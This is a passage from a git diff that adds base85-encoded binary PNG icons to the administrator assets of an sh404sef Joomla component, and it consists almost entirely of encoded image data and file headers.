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 XF;r{S&b-e000000NkvXXu0mjfgjSYT literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-cpanel.png b/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-cpanel.png new file mode 100644 index 0000000000000000000000000000000000000000..8ada9e5a21f15ec6f308fe6775a79fca3610eccc GIT binary patch literal 4038 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 literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-doc.png b/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-doc.png new file mode 100644 index 0000000000000000000000000000000000000000..a5c92fe9333bf64b4f5141dcd9d5bb21aefed269 GIT binary patch literal 4078 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 literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-errorpage.png b/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-errorpage.png new file mode 100644 index 0000000000000000000000000000000000000000..6b26487bae13557baa3d50a632dd4174d6c2f3b6 GIT binary patch literal 3001 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 literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-ext.png b/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-ext.png new file mode 100644 index 0000000000000000000000000000000000000000..42dae1a6ff721e7d36f812279a72bd8ca4cabec0 GIT binary patch literal 4576 zcmV<65g+b}P)TEjIpt?31CccLd>z9*p8hzKAaOL zUJ{3c4S{UNC${lPj2H065*f1x34stGw2d@cMl+gy)9lmJOLbMf{88OKJ)@CueEiO- zsXN`Ts=s^h_wIf7KA3-~w~^oO`}yXcZC>T|yS^7d$vhtd_?&snojdRN@_k*)P1C-m zzkB~n;7jLE-FzrKs>qlHp@~!sEVo3JKp_;%f^RK ze*M%y%V@>>{EGSW%0}@6U7?7s_+QQ-&z;Zb|8all{kPnEeWIrESB(n`x8C@kspu7( z^6WiQ)l`*QdgREyC)xq0_~Y^yUv2)YSk(CUPu&`^-}_Em+PaKOYR|dyg6XNDm&b8`Djd%WVeO032dx@C$m8}=`)L-|meio$i zgl!+sQ)+1PoK@ZJyPujG@0sA}YV+I$l4bjyvO?G_a zrf?+rdSB<86D4IUK&!d3QT(6;u+q|%N>s|FIr4W8_9f3*w(%b=GxXqw#*XzjY}u<; zoimK0fan5HprJ0$(UZygXmah?!PkFw;N2hk+NW*Xy7!Ye8RiA6&El&d8c}RoAEtXi zFDtO@%2=Y|^`4Wvh5_$vjF^u?XQc|j*Z#BDxb9>3d^{XUZd(!`xaNkn&)A!m9wKaH z&|U%Y3g8#eegR84B%(ei`j>57yWykN^>x*M`{`SKvuU|T#6xQj@DTAZO`k0n*`%j+ z{rL3a4^}T&wYT%c_WlYb&ZxkAw3$VfO8MO%`f@59Nj!RS?dyv_xa{YoLc>r5Eq-vP zsEGIlY7-d-MxwSDsV$%Q$h2D7m_={^2O&R8HdKLi=LrVH`$p!Q{13TS5nCifx}`!L8LLwoT1cVosELnw}Tc_?1<$xX`& zEUDAh@viC*E?Rn}JJ@${zmuCRP_ejwFA4!NI&{+6aQVlFrb8P((qwH{VLgs6QOL_7 z`A#I;g7{Nl*oa|M80`k%#Tz<^8Lmc(N=OCpx$@$=9Oo@@Xl_rwv!>zF+Np`&J?Y8* zY>5@W7llgqzK;E!Yq$LACRayStu(h6tv`IEFGI zT#a}RczLwvoFljR*l_^7)9V_2$T(`9Vnqf6h=A_WrATKqR>-4h?hg`6nGB!MH;#J)8tev z%VldPInfheVSYCE#YHEMYX%K84W1Ha7y!v%8@za01%+NZBXs}QIVT7}TcD$Ak_L=2F?1Bihrg`Vz3j~qtl zC(zC$6eiJysd?q@eofz~m@QC!p{EID@pk9PkPE#udqRlxm# z|5hNEK^GNKfifrqU6_K&cF2#TbCZypg#6?z`QY&gcmMi)zpd@ScXn_8_9H;XoI{DT z?lk9_H)|vpD(do4p6vJ>Q(hfg8h4L^RsTf#)E=(ZQwM|Ke4CTYK|EyI=bDkBi`k0p|}vp^Bjq4WWc$>G^S9>wh0l z9=ZuvN5Kfz0BVLhC2y3#mnf!{1<@1$yW3W9&r2WiTTkr!?yeW_`LWi1R|!1e|3N7P z5+n%$BWki@eVpdzO=RARa^selXRNOjqKfOG!W(5plp^PadA9xiJpR`CWDDX~FIaiW zwSV;8dJ%O3O{eQReFZ1e_XnjAfUk8>K!|{?IQOCy?ak-$qn9JxTKgCg(BUC(F!EQMu>dFoWdr6Xg`rKd)6jE&{#>z}57AX6?W&qf<{)2AO+ ztJht-R4H>6NWJG3l<#}4lS_AXop`lf`1V&#S!x|%gVX!~bw zU->N-L`I71!6?&8i$VWXJ&*3Yik_(@T({NYy;oEr<+9xdY&5b`c8 zs)l%^Sk4Jp;?vPQj5BC|ae%T&hVCoe8$$No@mp#Q}GH1GM*Pe)H3?*fKP3Y5oP_qRurHI4Vx z*BGC@dNV9pD0rgrJn((N^EFc$=p6yq1Ji(H400Jbax_bGdm5=vVpN3?U{STOFbRgz zC=m?N^q&~x=)q2^ts%N58n|r9L9SWz7IAx;SSTBWQNVF6UO2jzU%%1h_YDqgZ`t?g 